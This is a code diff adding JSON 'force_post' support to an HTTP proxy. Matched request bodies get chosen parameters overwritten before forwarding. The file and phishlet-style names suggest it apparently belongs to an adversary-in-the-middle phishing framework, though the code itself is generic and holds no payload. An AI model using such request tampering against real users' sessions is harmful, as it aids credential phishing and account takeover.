added support for force_post for json parameters

core/http_proxy.go

@@ -91,6 +91,20 @@ type ProxySession struct {
 	Index        int
 }
 
+// set the value of the specified key in the JSON body
+func SetJSONVariable(body []byte, key string, value interface{}) ([]byte, error) {
+	var data map[string]interface{}
+	if err := json.Unmarshal(body, &data); err != nil {
+		return nil, err
+	}
+	data[key] = value
+	newBody, err := json.Marshal(data)
+	if err != nil {
+		return nil, err
+	}
+	return newBody, nil
+}
+
 func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, bl *Blacklist, developer bool) (*HttpProxy, error) {
 	p := &HttpProxy{
 		Proxy:             goproxy.NewProxyHttpServer(),
@@ -664,6 +678,45 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
 								}
 							}
 
+							// force post json
+							for _, fp := range pl.forcePost {
+								if fp.path.MatchString(req.URL.Path) {
+									log.Debug("force_post: url matched: %s", req.URL.Path)
+									ok_search := false
+									if len(fp.search) > 0 {
+										k_matched := len(fp.search)
+										for _, fp_s := range fp.search {
+											matches := fp_s.key.FindAllString(string(body), -1)
+											for _, match := range matches {
+												if fp_s.search.MatchString(match) {
+													if k_matched > 0 {
+														k_matched -= 1
+													}
+													log.Debug("force_post: [%d] matched - %s", k_matched, match)
+													break
+												}
+											}
+										}
+										if k_matched == 0 {
+											ok_search = true
+										}
+									} else {
+										ok_search = true
+									}
+									if ok_search {
+										for _, fp_f := range fp.force {
+											body, err = SetJSONVariable(body, fp_f.key, fp_f.value)
+											if err != nil {
+												log.Debug("force_post: got error: %s", err)
+											}
+											log.Debug("force_post: updated body parameter: %s : %s", fp_f.key, fp_f.value)
+										}
+									}
+									req.ContentLength = int64(len(body))
+									log.Debug("force_post: body: %s len:%d", body, len(body))
+								}
+							}
+
 						} else if form_re.MatchString(contentType) {
 
 							if req.ParseForm() == nil && req.PostForm != nil && len(req.PostForm) > 0 {